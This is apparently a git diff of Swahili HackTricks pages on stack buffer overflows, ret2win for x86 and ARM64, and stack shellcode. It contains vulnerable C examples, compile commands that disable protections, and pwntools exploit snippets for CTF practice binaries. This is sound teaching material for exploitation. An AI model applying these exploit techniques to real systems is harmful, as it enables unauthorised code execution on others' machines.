{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %}
[stack-pivoting-ebp2ret-ebp-chaining.md](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
@ -187,18 +166,20 @@ Tambua kuwa ROP ni mbinu tu ya kutekeleza nambari ya kupendelea. Kulingana na RO
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
* Biti 64, Pie na nx imewezeshwa, hakuna kanzu, zidi RIP na anwani ya `vsyscall` kwa kusudi la kurudi kwa anwani inayofuata kwenye stak ambayo itakuwa kanzu ya sehemu ya anwani kupata sehemu ya kazi inayovuja bendera
* 64 biti, Pie na nx imewezeshwa, hakuna canary, zidisha RIP na anwani ya `vsyscall` kwa kusudi la kurudi kwa anwani inayofuata kwenye stak ambayo itakuwa zidishi la sehemu ya kazi inayovuja bendera
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, hakuna ASLR, kifaa cha ROP kufanya stak iwezekane na kuruka kwa shellcode kwenye stak
<details>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,4 +1,4 @@
# Kuzidi Kwa Stack
# Kujaa Kwa Stack
<details>
@ -6,23 +6,23 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
## Ni Nini Stack Overflow
## Ni Nini Kujaa Kwa Stack
**Kuzidi kwa stack** ni udhaifu unapotokea programu inapoandika data zaidi kwenye stack kuliko ilivyotengewa kuhifadhi. Data hii ya ziada ita **zifuta nafasi ya kumbukumbu iliyopakana**, ikisababisha uharibifu wa data halali, kuvuruga mtiririko wa udhibiti, na kwa uwezekano wa kutekeleza msimbo wa kudhuru. Tatizo hili mara nyingi hutokea kutokana na matumizi ya kazi zisizo salama ambazo hazifanyi ukaguzi wa mipaka kwenye data zinazoingia.
Kujaa kwa **stack overflow** ni udhaifu unapotokea programu inapoandika data zaidi kwenye stack kuliko ilivyotengewa kuhifadhi. Data hii ya ziada ita **zifuta nafasi ya kumbukumbu inayopakana**, ikisababisha uharibifu wa data halali, kuvuruga mtiririko wa udhibiti, na kwa uwezekano utekelezaji wa nambari yenye nia mbaya. Tatizo hili mara nyingi hutokea kutokana na matumizi ya kazi zisizo salama ambazo hazifanyi ukaguzi wa mipaka kwenye data zinazoingia.
Tatizo kuu la kuzidi huku ni kwamba **ishara iliyohifadhiwa ya maagizo (EIP/RIP)** na **ishara iliyohifadhiwa ya msingi (EBP/RBP)** ya kurudi kwenye kazi iliyotangulia zinahifadhiwa kwenye stack. Hivyo basi, mshambuliaji ataweza kuzifuta hizo na **kudhibiti mtiririko wa utekelezaji wa programu**.
Tatizo kuu la kufuta huku ni kwamba **ishara iliyohifadhiwa ya maagizo (EIP/RIP)** na **ishara iliyohifadhiwa ya msingi (EBP/RBP)** ya kurudi kwenye kazi iliyotangulia zinahifadhiwa kwenye stack. Hivyo basi, mshambuliaji ataweza kuzifuta hizo na **kudhibiti mtiririko wa utekelezaji wa programu**.
Udhaifu huu kawaida hutokea kwa sababu kazi **inaiga ndani ya stack herufi zaidi kuliko idadi iliyotengewa**, hivyo kuweza kuzifuta sehemu nyingine za stack.
Udhaifu huu kawaida hutokea kwa sababu kazi **inafanya nakala ndani ya stack ya herufi zaidi ya idadi iliyotengewa**, hivyo kuweza kufuta sehemu nyingine za stack.
Baadhi ya kazi za kawaida zenye udhaifu huu ni: **`strcpy`, `strcat`, `sprintf`, `gets`**... Pia, kazi kama **`fgets`**, **`read` & `memcpy`** ambazo zinachukua **hoja ya urefu**, zinaweza kutumika kwa njia yenye udhaifu ikiwa urefu uliotajwa ni mkubwa kuliko ule uliotengewa.
Baadhi ya kazi za kawaida zenye udhaifu huu ni: **`strcpy`, `strcat`, `sprintf`, `gets`**... Pia, kazi kama **`fgets`**, **`read` & `memcpy`** ambazo zinachukua **hoja ya urefu**, zinaweza kutumika kwa njia yenye udhaifu ikiwa urefu uliotajwa ni mkubwa kuliko ule uliotengwa.
Kwa mfano, kazi zifuatazo zinaweza kuwa na udhaifu:
```c
@ -33,13 +33,13 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Kupata Vipande vya Kuzidi kwenye Stack
### Kupata Vipande vya Kuzidi kwa Stack
Njia ya kawaida ya kupata vipande vya kuzidi kwenye stack ni kutoa kuingia kubwa sana ya `A`s (k.m. `python3 -c 'print("A"*1000)'`) na kutarajia `Segmentation Fault` inayoashiria kwamba **anwani `0x41414141` ilijaribiwa kupatikana**.
Njia ya kawaida ya kupata vipande vya kuzidi kwa stack ni kutoa kuingia kubwa sana la `A` (k.m. `python3 -c 'print("A"*1000)'`) na kutarajia `Segmentation Fault` inayoashiria kwamba **anwani `0x41414141` ilijaribiwa kufikiwa**.
Zaidi ya hayo, mara baada ya kugundua kuwa kuna udhaifu wa Stack Overflow, utahitaji kupata vipande vya kuzidi hadi iwezekane **kubadilisha anwani ya kurudi**, kwa hili kawaida hutumika **De Bruijn sequence.** Ambayo kwa alfabeti iliyopewa ya ukubwa _k_ na vipande vya urefu _n_ ni **mfululizo wa mzunguko ambapo kila vipande vya iwezekanavyo vya urefu \_n**\_\*\* vinatokea mara moja\*\* kama mfululizo unaofuatana.
Zaidi ya hayo, mara baada ya kugundua kuwa kuna udhaifu wa Kuzidi kwa Stack, utahitaji kupata vipande vya kuzidi hadi iwezekane **kubadilisha anwani ya kurudi**, kwa hili kawaida hutumika **mfululizo wa De Bruijn.** Ambao kwa alfabeti iliyopewa ya ukubwa _k_ na vipande vya urefu _n_ ni **mfululizo wa mzunguko ambapo kila vipande vya urefu \_n**\_\*\* vinatokea mara moja tu\*\* kama mfululizo unaofuatana.
Hivyo, badala ya kuhitaji kufikiria ni vipande vipi vinahitajika kudhibiti EIP kwa mkono, ni rahisi kutumia mojawapo ya mfululizo huu kama kujaza na kisha kupata vipande vya herufi vilivyomaliza kubadilisha.
Hivyo, badala ya kuhitaji kufikiria ni vipande vipi vinahitajika kudhibiti EIP kwa mkono, ni rahisi kutumia mojawapo ya mfululizo huu kama kujaza na kisha kupata vipande vya kuzidi ambavyo vilimaliza kubadilisha hiyo.
Inawezekana kutumia **pwntools** kwa hili:
```python
@ -62,14 +62,14 @@ pattern search $rsp #Search the offset given the content of $rsp
```
## Kudukua Mabaki ya Stack
Wakati wa kudukua (ukiwa na ukubwa wa kutosha), utaweza **kubadilisha** thamani za mchanganyiko wa ndani wa stack hadi kufikia **EBP/RBP na EIP/RIP zilizohifadhiwa (au zaidi)**.\
Njia ya kawaida ya kutumia udhaifu huu ni kwa **kubadilisha anwani ya kurudi** ili wakati wa kumaliza kazi, **mtiririko wa udhibiti utaelekezwa mahali ambapo mtumiaji alipendekeza** katika kidude hiki.
Wakati wa kudukua (ukiwa na ukubwa wa kutosha), utaweza **kubadilisha** thamani za mchanganyiko wa ndani wa stack hadi kufikia **EBP/RBP na EIP/RIP zilizohifadhiwa (au hata zaidi)**.\
Njia ya kawaida ya kutumia udhaifu huu ni kwa **kubadilisha anwani ya kurudi** ili wakati wa kumalizika kwa kazi, **mtiririko wa udhibiti utaelekezwa mahali ambapo mtumiaji alipendekeza** katika kidude hiki.
Hata hivyo, katika mazingira mengine labda **kubadilisha thamani za baadhi ya mchanganyiko wa stack** inaweza kuwa ya kutosha kwa udanganyifu (kama katika changamoto rahisi za CTF).
Hata hivyo, katika hali nyingine labda tu **kubadilisha thamani za baadhi ya mchanganyiko wa stack** inaweza kuwa ya kutosha kwa udanganyifu (kama katika changamoto rahisi za CTF).
### Ret2win
Katika aina hii ya changamoto za CTF, kuna **kazi** **ndani** ya binary ambayo **haijawahi kuitwa** na **unahitaji kuipiga simu ili kushinda**. Kwa changamoto hizi unahitaji tu kupata **kielelezo cha kubadilisha anwani ya kurudi** na **kupata anwani ya kazi** ya kupiga simu (kawaida [**ASLR**](../common-binary-protections-and-bypasses/aslr/) itakuwa imelemazwa) hivyo wakati kazi yenye udhaifu inaporudi, kazi iliyofichwa itaitwa:
Katika aina hii ya changamoto za CTF, kuna **kazi** **ndani** ya binary ambayo **haijawahi kuitwa** na **unahitaji kuipiga simu ili ushinde**. Kwa changamoto hizi, unahitaji tu kupata **kielezo cha kubadilisha anwani ya kurudi** na **kupata anwani ya kazi** ya kupiga simu (kawaida [**ASLR**](../common-binary-protections-and-bypasses/aslr/) itakuwa imelemazwa) hivyo wakati kazi yenye udhaifu inaporudi, kazi iliyofichwa itaitwa:
{% content-ref url="ret2win/" %}
[ret2win](ret2win/)
@ -85,15 +85,23 @@ Katika hali hii, mkaidi anaweza kuweka shellcode kwenye stack na kutumia EIP/RIP
### ROP & Mbinu za Ret2...
Mbinu hii ni mfumo msingi wa kukiuka kinga kuu kwa mbinu iliyotangulia: **Stack isiyoweza kutekelezwa (NX)**. Na inaruhusu kutekeleza mbinu kadhaa zingine (ret2lib, ret2syscall...) ambazo mwishowe zitakamilisha kutekeleza amri za aina yoyote kwa kudanganya maagizo yaliyopo kwenye binary:
Mbinu hii ni mfumo msingi wa kuzidi kinga kuu kwa mbinu ya awali: **Stack isiyoweza kutekelezwa (NX)**. Na inaruhusu kutekeleza mbinu kadhaa (ret2lib, ret2syscall...) ambazo mwishowe zitakamilisha kutekeleza amri za aina yoyote kwa kudanganya maagizo yaliyopo kwenye binary:
{% content-ref url="../rop-return-oriented-programing/" %}
[rop-return-oriented-programing](../rop-return-oriented-programing/)
{% endcontent-ref %}
## Mabaki ya Heap
Kudukua sio lazima iwe kwenye stack, inaweza pia kuwa kwenye **heap** kwa mfano:
{% content-ref url="../heap/heap-overflow.md" %}
[heap-overflow.md](../heap/heap-overflow.md)
{% endcontent-ref %}
## Aina za kinga
Kuna kinga kadhaa zinazojaribu kuzuia udanganyifu wa udhaifu, zitazame hapa:
Kuna kinga kadhaa zinajaribu kuzuia kutumia udhaifu, zitazame hapa:
{% content-ref url="../common-binary-protections-and-bypasses/" %}
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)

View file

@ -10,7 +10,7 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
@ -51,7 +51,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
### Mbinu ya Udukuzi ya Python kwa Kutumia Pwntools
Kwa udukuzi, tutatumia **pwntools**, mfumo imara wa CTF kwa kuandika udukuzi. Skripti ya udukuzi itaunda mzigo wa kujaa kwa buffer na kubadilisha anwani ya kurudi na anwani ya kazi ya `win`.
Kwa udukuzi, tutatumia **pwntools**, mfumo hodari wa CTF kwa kuandika udukuzi. Skripti ya udukuzi itaunda mzigo wa kujaa kwa buffer na kubadilisha anwani ya kurudi na anwani ya kazi ya `win`.
```python
from pwn import *
@ -81,7 +81,7 @@ Skripti ya Python inatuma ujumbe ulioandaliwa kwa umakini ambao, unapopitishwa n
## Kinga
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **inapaswa kuwa imelemazwa** ili anwani iweze kuaminika kati ya utekelezaji au anwani ambapo kazi itahifadhiwa haitakuwa daima sawa na utahitaji kuvuja kwa kusudi la kugundua wapi kazi ya ushindi imehifadhiwa. Katika baadhi ya kesi, wakati kazi inayosababisha kujazwa ni `read` au sawa, unaweza kufanya **Kujaza Sehemu** ya 1 au 2 ya herufi kubadilisha anwani ya kurudi kuwa kazi ya ushindi. Kwa sababu ya jinsi ASLR inavyofanya kazi, herufi tatu za mwisho za hex hazijaribiwi, kwa hivyo kuna **nafasi ya 1/16** (1 herufi) ya kupata anwani sahihi ya kurudi.
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **inapaswa kuwa imelemazwa** ili anwani iweze kutegemewa kila wakati au anwani ambapo kazi itahifadhiwa haitakuwa daima sawa na utahitaji kuvuja fulani ili kugundua wapi kazi ya ushindi imehifadhiwa. Katika baadhi ya kesi, wakati kazi inayosababisha kujazwa ni `read` au sawa, unaweza kufanya **Kujaza Sehemu** ya 1 au 2 bytes kubadilisha anwani ya kurudi iwe kazi ya ushindi. Kwa sababu ya jinsi ASLR inavyofanya kazi, hex nibbles tatu za mwisho hazijaribiwi, kwa hivyo kuna **nafasi ya 1/16** (1 nibble) ya kupata anwani sahihi ya kurudi.
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) pia inapaswa kuwa imelemazwa au anwani iliyoharibiwa ya kurudi ya EIP haitafuatwa kamwe.
## Mifano na Marejeo Mengine
@ -90,21 +90,25 @@ Skripti ya Python inatuma ujumbe ulioandaliwa kwa umakini ambao, unapopitishwa n
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32bit, hakuna ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* 64 biti na ASLR, na kuvuja kwa anwani ya benki
* 64 bits na ASLR, na kuvuja kwa anwani ya benki
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64 biti, hakuna ASLR
* 64 bits, hakuna ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32 biti, hakuna ASLR, kujaza mara mbili ndogo, ya kwanza kujaza stack na kuongeza ukubwa wa kujaza la pili
* 32 bits, hakuna ASLR, kujaza mara mbili ndogo, ya kwanza kujaza stack na kuongeza ukubwa wa kujaza la pili
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 biti, relro, hakuna canary, nx, hakuna PIE, string ya muundo ya kubadilisha anwani ya `fflush` na kazi ya ushindi (ret2win)
* 32 bit, relro, hakuna canary, nx, hakuna pie, string ya muundo ya kubadilisha anwani ya `fflush` na kazi ya ushindi (ret2win)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
* 32 biti, nx, hakuna kitu kingine, kujaza sehemu ya EIP (1Byte) kuita kazi ya ushindi
* 32 bit, nx, hakuna kitu kingine, kujaza sehemu ya EIP (1Byte) kuita kazi ya ushindi
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
* 32 biti, nx, hakuna kitu kingine, kujaza sehemu ya EIP (1Byte) kuita kazi ya ushindi
* 32 bit, nx, hakuna kitu kingine, kujaza sehemu ya EIP (1Byte) kuita kazi ya ushindi
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Programu inathibitisha tu herufi ya mwisho ya nambari ili kuhakiki ukubwa wa kuingia, kwa hivyo ni rahisi kuongeza ukubwa wowote ikiwa herufi ya mwisho iko ndani ya safu inayoruhusiwa. Kisha, kuingia kunajenga kujaza buffer lililodhulumiwa na ret2win.
* Programu inathibitisha tu byte ya mwisho ya nambari ili kuthibitisha ukubwa wa kuingia, kwa hivyo ni rahisi kuongeza ukubwa wowote ikiwa byte ya mwisho iko ndani ya safu inayoruhusiwa. Kisha, kuingia kunajenga kujaza buffer lililoathiriwa na ret2win.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64 biti, relro, hakuna canary, nx, pie. Kujaza sehemu kuita kazi ya ushindi (ret2win)
* 64 bit, relro, hakuna canary, nx, pie. Kujaza sehemu kuita kazi ya ushindi (ret2win)
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
* arm64, PIE, inatoa kuvuja kwa PIE kazi ya ushindi ni kweli kazi 2 hivyo ROP gadget ambayo inaita 2 kazi
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
* ARM64, off-by-one kuita kazi ya ushindi
## Mfano wa ARM64

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
@ -43,7 +43,7 @@ Kusanya bila pie na canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
## Kupata kufikia
## Kupata kufasiri
### Chaguo la Mfano
@ -55,19 +55,19 @@ gdb -q ./ret2win
pattern create 200
run
```
<figure><img src="../../../. gitbook/assets/image (1202).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1202).png" alt=""><figcaption></figcaption></figure>
arm64 itajaribu kurudi kwenye anwani kwenye daftari x30 (ambayo ilidukuliwa), tunaweza kutumia hilo kupata offset ya mchoro:
arm64 itajaribu kurudi kwa anwani kwenye daftari x30 (ambayo ilidukuliwa), tunaweza kutumia hilo kugundua ofseti ya mchoro:
```bash
pattern search $x30
```
<figure><img src="../../../.gitbook/assets/image (1203).png" alt=""><figcaption></figcaption></figure>
**Kisichangamana ni 72 (9x48).**
**Kielelezo ni 72 (9x48).**
### Chaguo la kisichangamana cha stack
### Chaguo la kielelezo cha steki
Anza kwa kupata anwani ya stack ambapo kumbukumbu ya pc imehifadhiwa:
Anza kwa kupata anwani ya steki ambapo kielelezo cha pc kimehifadhiwa:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
@ -123,9 +123,9 @@ p.close()
```
<figure><img src="../../../.gitbook/assets/image (1208).png" alt="" width="375"><figcaption></figcaption></figure>
### Nje ya-2
### Kando ya 1
Badala ya kubadilisha anwani ya kurudi yote tutabadilisha **tu herufi 2 za mwisho** na `0x06c4`.
Kwa kweli hii itakuwa zaidi kama kando-ya-2 katika PC iliyohifadhiwa kwenye steki. Badala ya kubadilisha anwani zote za kurudi, tutabadilisha **tu herufi 2 za mwisho** na `0x06c4`.
```python
from pwn import *
@ -147,15 +147,17 @@ p.close()
```
<figure><img src="../../../.gitbook/assets/image (1209).png" alt="" width="375"><figcaption></figcaption></figure>
Unaweza kupata mfano mwingine wa off-by-one kwenye ARM64 katika [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), ambayo ni off-by-**one** halisi katika udhaifu wa kufikirika.
## Pamoja na PIE
{% hint style="success" %}
Kupachika binary **bila kutumia hoja ya `-no-pie`**
Kupachika binary **bila hoja ya `-no-pie`**
{% endhint %}
### Mbali-na-2
### Off-by-2
Bila kuvuja hatujui anwani sahihi ya kazi ya kushinda lakini tunaweza kujua mbali ya kazi kutoka kwa binary na kwa kujua kwamba anwani ya kurudi tunayobadilisha tayari inaelekeza kwa anwani karibu, ni rahisi kuvuja mbali hadi kwa kazi ya ushindi (**0x7d4**) katika kesi hii na kutumia mbali hiyo tu:
Bila kuvuja hatujui anwani sahihi ya kazi ya kushinda lakini tunaweza kujua ofseti ya kazi kutoka kwa binary na kujua kwamba anwani ya kurudi tunayobadilisha tayari inaelekeza kwa anwani karibu, inawezekana kuvuja ofseti kwenda kwa kazi ya ushindi (**0x7d4**) katika kesi hii na kutumia ofseti hiyo tu:
<figure><img src="../../../.gitbook/assets/image (1210).png" alt="" width="563"><figcaption></figcaption></figure>
```python
@ -185,8 +187,8 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>

View file

@ -16,7 +16,7 @@ Njia nyingine za kusaidia HackTricks:
## Taarifa Msingi
**Msimbo wa stack shellcode** ni mbinu inayotumiwa katika **udukuzi wa binary** ambapo muhusika anaandika msimbo wa shell kwenye stack ya programu yenye mapungufu kisha anabadilisha **Mpokeaji wa Maelekezo (IP)** au **Mpokeaji wa Maelekezo Mpana (EIP)** ili kuashiria eneo la msimbo huu wa shell, ikisababisha utekelezaji wake. Hii ni njia ya kawaida inayotumiwa kupata ufikiaji usioruhusiwa au kutekeleza amri za kupindukia kwenye mfumo lengwa. Hapa kuna maelezo ya mchakato, pamoja na mfano rahisi wa C na jinsi unaweza kuandika shambulio linalofanana kutumia Python na **pwntools**.
**Msimbo wa stack shellcode** ni mbinu inayotumiwa katika **udukuzi wa binary** ambapo muhusika anaandika msimbo wa shell kwenye stack ya programu yenye mapungufu kisha anabadilisha **Mpokeaji wa Maelekezo (IP)** au **Mpokeaji wa Maelekezo ya Kipekee (EIP)** ili kuashiria eneo la msimbo huu wa shell, kusababisha utekelezaji wake. Hii ni njia ya kawaida inayotumiwa kupata ufikiaji usioruhusiwa au kutekeleza amri za kupindukia kwenye mfumo lengwa. Hapa kuna maelezo ya mchakato, pamoja na mfano rahisi wa C na jinsi unaweza kuandika dudu linalolingana kutumia Python na **pwntools**.
### Mfano wa C: Programu yenye Mapungufu
@ -36,7 +36,7 @@ printf("Returned safely\n");
return 0;
}
```
Programu hii ina mapungufu ya kujaa kwa buffer kutokana na matumizi ya kazi ya `gets()`.
Programu hii ina mapungufu ya kujaza buffer kutokana na matumizi ya kazi ya `gets()`.
### Utoaji
@ -49,7 +49,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
* `-no-pie`: Inazuia Utekelezaji wa Kitegemezi wa Nafasi, ikifanya iwe rahisi kutabiri anwani ya kumbukumbu ambapo shellcode yetu itakuwepo.
* `-m32`: Inakusanya programu kama utekelezaji wa biti 32, mara nyingi hutumiwa kwa urahisi katika maendeleo ya kutumia udhaifu.
### Shambulizi la Python kwa Kutumia Pwntools
### Shambulizi la Python kwa kutumia Pwntools
Hapa ndivyo unavyoweza kuandika shambulizi kwa kutumia Python ukitumia **pwntools** kutekeleza shambulizi la **ret2shellcode**.
```python
@ -78,13 +78,13 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
